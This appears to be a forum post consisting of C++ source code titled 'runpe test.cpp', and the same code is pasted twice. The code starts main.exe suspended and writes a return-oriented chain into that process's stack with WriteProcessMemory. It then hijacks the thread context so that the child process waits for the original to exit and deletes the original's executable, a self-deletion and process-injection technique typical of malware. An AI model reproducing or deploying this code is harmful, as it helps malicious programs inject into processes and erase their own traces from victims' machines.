wacked
04.11.2015, 23:40
// runpe test.cpp : Defines the entry point for the console application.//
#include <windows.h>
#include <cstdio>
#include <ntdll.h>
#include <stddef.h>
#pragma comment(lib, "ntdll.lib")
#define INVALID_HANDLE(h) (INVALID_HANDLE_VALUE == (h) || NULL == (h))
HANDLE get_current_file_handle()
{
WCHAR fileNameString[MAX_PATH] = {0};
UNICODE_STRING fileName = {0};
OBJECT_ATTRIBUTES obj = {0};
HANDLE fileHandle = INVALID_HANDLE_VALUE;
IO_STATUS_BLOCK io = {0};
NTSTATUS status;
GetModuleFileName(NULL, fileNameString, _countof(fileNameString));
if(!RtlDosPathNameToNtPathName_U(fileNameString, &fileName, NULL, NULL))
return INVALID_HANDLE_VALUE;
InitializeObjectAttributes(&obj, &fileName, OBJ_CASE_INSENSITIVE, 0, NULL);
status = NtOpenFile(&fileHandle, DELETE, &obj, &io,
FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
FILE_SUPERSEDE);
if(NT_ERROR(status))
{
printf("status = %X\n", status);
return INVALID_HANDLE_VALUE;
}
return fileHandle;
}
/*
\brief Writes the ROP chain at address.
The chain MUST start execution at NtWaitForSingleObject.
It will :
- Wait until this process has terminated.
- Then close the handle to this process.
- Mark the file of this process for deletion
- Close the handle to this file - which will trigger the
deletion.
- Exit.
\param process Process to write to
\param address Address to write to.
\fixme Maybe don't delete but overwrite with trash?
*/
bool write_ROP_chain(HANDLE process, DWORD address)
{
HANDLE duplicatedProcessHandle = INVALID_HANDLE_VALUE,
fileHandle = INVALID_HANDLE_VALUE;
DWORD written = 0;
bool success = false;
NTSTATUS status = ERROR_SUCCESS;
DWORD ropChain[] = {
// EIP = NtWaitForSingleObject
(DWORD)&NtClose, // Return address
0, // Own process handle
FALSE, // Alertable
NULL, // Timeout
// EIP = NtClose
(DWORD)&NtSetInformationFile, // Return address
0, // Own process handle
// EIP = NtSetInformationFile
(DWORD)&NtClose, // Return addr
0, // File handle
0, // Pointer to IoStatusBlock
0, // Pointer to FileInformation
sizeof(FILE_DISPOSITION_INFORMATION), // Length
FileDispositionInformation, // FILE_INFORMATION_CLASS
// EIP = NtClose
(DWORD)&RtlExitUserThread, // Ret. addr
0, // File handle
// EIP = RtlExitUserThread
STATUS_CANNOT_DELETE, // Shutdown reason
// FILE_DISPOSITION_INFORMATION structure
TRUE,
};
if(INVALID_HANDLE(process) || !address)
return false;
// Duplicate current process handle so the other process can wait on it
if(NT_ERROR(status = NtDuplicateObject(GetCurrentProcess(), GetCurrentProcess(), process,
&duplicatedProcessHandle, 0, 0, DUPLICATE_SAME_ACCESS)))
{
printf("Can't duplicate process handle: %X\n", status);
goto EXIT;
}
ropChain[1] = (DWORD)duplicatedProcessHandle; // NtWaitForSingleObject
ropChain[5] = (DWORD)duplicatedProcessHandle; // NtClose
if(INVALID_HANDLE_VALUE == (fileHandle = get_current_file_handle()))
{
printf("Can't get file handle: %X\n", GetLastError());
goto EXIT;
}
// This duplicates and closes the local handle of this file
if(NT_ERROR(status = NtDuplicateObject(GetCurrentProcess(), fileHandle, process, &fileHandle,
0, 0, DUPLICATE_CLOSE_SOURCE | DUPLICATE_SAME_ACCESS)))
{
printf("Can't duplicate file handle: %X\n", status);
goto EXIT;
}
ropChain[7] = (DWORD)fileHandle; // NtSetInformationFile
ropChain[13] = (DWORD)fileHandle; // NtClose
/* Setup IO_STATUS_BLOCK for NtSetInformationFile. As at this point a
large enough portion of the ROP chain has been executed and IO_STATUS_BLOCK
needs no special values so just use the top of chain */
ropChain[8] = (DWORD)address;
/* FileDispositionInformation needs a TRUE so we just add one at the
end of the ROP chain and make a pointer to it. */
ropChain[9] = (DWORD)address + (sizeof(ropChain) - sizeof(FILE_DISPOSITION_INFORMATION));
if(!WriteProcessMemory(process, (LPVOID)address, ropChain, sizeof(ropChain), &written) ||
sizeof(ropChain) != written)
{
printf("Couldn't write: %X\n", GetLastError());
goto EXIT;
}
success = true;
EXIT:
return success;
}
void entry()
{
CONTEXT ctx = {0};
_PROCESS_INFORMATION pi = {0};
STARTUPINFOA si = {0};
const char* FILE_TO_EXECUTE = "main.exe";
bool success = false;
si.cb = sizeof(STARTUPINFOA);
if(!CreateProcessA(FILE_TO_EXECUTE, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi))
goto EXIT;
ctx.ContextFlags = CONTEXT_ALL;
if(!GetThreadContext(pi.hThread, &ctx))
{
printf("Can't get thread context\n");
goto FINISH_OTHER_PROCESS;
}
printf("EAX: %X\tESP: %X\tEIP: %X\n", ctx.Eax, ctx.Esp, ctx.Eip);
/* ROP chain needs a certain size so just round ESP down to
page boundary - which is enough */
ctx.Esp &= ~0xFFF;
if(!write_ROP_chain(pi.hProcess, ctx.Esp))
{
printf("Can't overwrite stack\n");
goto FINISH_OTHER_PROCESS;
}
ctx.Eip = (DWORD)&NtWaitForSingleObject;
if(!SetThreadContext(pi.hThread, &ctx))
{
printf("Can't set thread context\n");
goto FINISH_OTHER_PROCESS;
}
success = true;
FINISH_OTHER_PROCESS:
if(success)
{
ResumeThread(pi.hThread);
/* For debugging this can be uncommented so you have time to
attach to the other process.
WaitForSingleObject(pi.hProcess, INFINITE); */
}
else
{
TerminateProcess(pi.hProcess, 0);
}
CLEANUP:
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
EXIT:
ExitProcess(0);
}
#include <windows.h>
#include <cstdio>
#include <ntdll.h>
#include <stddef.h>
#pragma comment(lib, "ntdll.lib")
#define INVALID_HANDLE(h) (INVALID_HANDLE_VALUE == (h) || NULL == (h))
HANDLE get_current_file_handle()
{
WCHAR fileNameString[MAX_PATH] = {0};
UNICODE_STRING fileName = {0};
OBJECT_ATTRIBUTES obj = {0};
HANDLE fileHandle = INVALID_HANDLE_VALUE;
IO_STATUS_BLOCK io = {0};
NTSTATUS status;
GetModuleFileName(NULL, fileNameString, _countof(fileNameString));
if(!RtlDosPathNameToNtPathName_U(fileNameString, &fileName, NULL, NULL))
return INVALID_HANDLE_VALUE;
InitializeObjectAttributes(&obj, &fileName, OBJ_CASE_INSENSITIVE, 0, NULL);
status = NtOpenFile(&fileHandle, DELETE, &obj, &io,
FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
FILE_SUPERSEDE);
if(NT_ERROR(status))
{
printf("status = %X\n", status);
return INVALID_HANDLE_VALUE;
}
return fileHandle;
}
/*
\brief Writes the ROP chain at address.
The chain MUST start execution at NtWaitForSingleObject.
It will :
- Wait until this process has terminated.
- Then close the handle to this process.
- Mark the file of this process for deletion
- Close the handle to this file - which will trigger the
deletion.
- Exit.
\param process Process to write to
\param address Address to write to.
\fixme Maybe don't delete but overwrite with trash?
*/
bool write_ROP_chain(HANDLE process, DWORD address)
{
HANDLE duplicatedProcessHandle = INVALID_HANDLE_VALUE,
fileHandle = INVALID_HANDLE_VALUE;
DWORD written = 0;
bool success = false;
NTSTATUS status = ERROR_SUCCESS;
DWORD ropChain[] = {
// EIP = NtWaitForSingleObject
(DWORD)&NtClose, // Return address
0, // Own process handle
FALSE, // Alertable
NULL, // Timeout
// EIP = NtClose
(DWORD)&NtSetInformationFile, // Return address
0, // Own process handle
// EIP = NtSetInformationFile
(DWORD)&NtClose, // Return addr
0, // File handle
0, // Pointer to IoStatusBlock
0, // Pointer to FileInformation
sizeof(FILE_DISPOSITION_INFORMATION), // Length
FileDispositionInformation, // FILE_INFORMATION_CLASS
// EIP = NtClose
(DWORD)&RtlExitUserThread, // Ret. addr
0, // File handle
// EIP = RtlExitUserThread
STATUS_CANNOT_DELETE, // Shutdown reason
// FILE_DISPOSITION_INFORMATION structure
TRUE,
};
if(INVALID_HANDLE(process) || !address)
return false;
// Duplicate current process handle so the other process can wait on it
if(NT_ERROR(status = NtDuplicateObject(GetCurrentProcess(), GetCurrentProcess(), process,
&duplicatedProcessHandle, 0, 0, DUPLICATE_SAME_ACCESS)))
{
printf("Can't duplicate process handle: %X\n", status);
goto EXIT;
}
ropChain[1] = (DWORD)duplicatedProcessHandle; // NtWaitForSingleObject
ropChain[5] = (DWORD)duplicatedProcessHandle; // NtClose
if(INVALID_HANDLE_VALUE == (fileHandle = get_current_file_handle()))
{
printf("Can't get file handle: %X\n", GetLastError());
goto EXIT;
}
// This duplicates and closes the local handle of this file
if(NT_ERROR(status = NtDuplicateObject(GetCurrentProcess(), fileHandle, process, &fileHandle,
0, 0, DUPLICATE_CLOSE_SOURCE | DUPLICATE_SAME_ACCESS)))
{
printf("Can't duplicate file handle: %X\n", status);
goto EXIT;
}
ropChain[7] = (DWORD)fileHandle; // NtSetInformationFile
ropChain[13] = (DWORD)fileHandle; // NtClose
/* Setup IO_STATUS_BLOCK for NtSetInformationFile. As at this point a
large enough portion of the ROP chain has been executed and IO_STATUS_BLOCK
needs no special values so just use the top of chain */
ropChain[8] = (DWORD)address;
/* FileDispositionInformation needs a TRUE so we just add one at the
end of the ROP chain and make a pointer to it. */
ropChain[9] = (DWORD)address + (sizeof(ropChain) - sizeof(FILE_DISPOSITION_INFORMATION));
if(!WriteProcessMemory(process, (LPVOID)address, ropChain, sizeof(ropChain), &written) ||
sizeof(ropChain) != written)
{
printf("Couldn't write: %X\n", GetLastError());
goto EXIT;
}
success = true;
EXIT:
return success;
}
void entry()
{
CONTEXT ctx = {0};
_PROCESS_INFORMATION pi = {0};
STARTUPINFOA si = {0};
const char* FILE_TO_EXECUTE = "main.exe";
bool success = false;
si.cb = sizeof(STARTUPINFOA);
if(!CreateProcessA(FILE_TO_EXECUTE, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi))
goto EXIT;
ctx.ContextFlags = CONTEXT_ALL;
if(!GetThreadContext(pi.hThread, &ctx))
{
printf("Can't get thread context\n");
goto FINISH_OTHER_PROCESS;
}
printf("EAX: %X\tESP: %X\tEIP: %X\n", ctx.Eax, ctx.Esp, ctx.Eip);
/* ROP chain needs a certain size so just round ESP down to
page boundary - which is enough */
ctx.Esp &= ~0xFFF;
if(!write_ROP_chain(pi.hProcess, ctx.Esp))
{
printf("Can't overwrite stack\n");
goto FINISH_OTHER_PROCESS;
}
ctx.Eip = (DWORD)&NtWaitForSingleObject;
if(!SetThreadContext(pi.hThread, &ctx))
{
printf("Can't set thread context\n");
goto FINISH_OTHER_PROCESS;
}
success = true;
FINISH_OTHER_PROCESS:
if(success)
{
ResumeThread(pi.hThread);
/* For debugging this can be uncommented so you have time to
attach to the other process.
WaitForSingleObject(pi.hProcess, INFINITE); */
}
else
{
TerminateProcess(pi.hProcess, 0);
}
CLEANUP:
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
EXIT:
ExitProcess(0);
}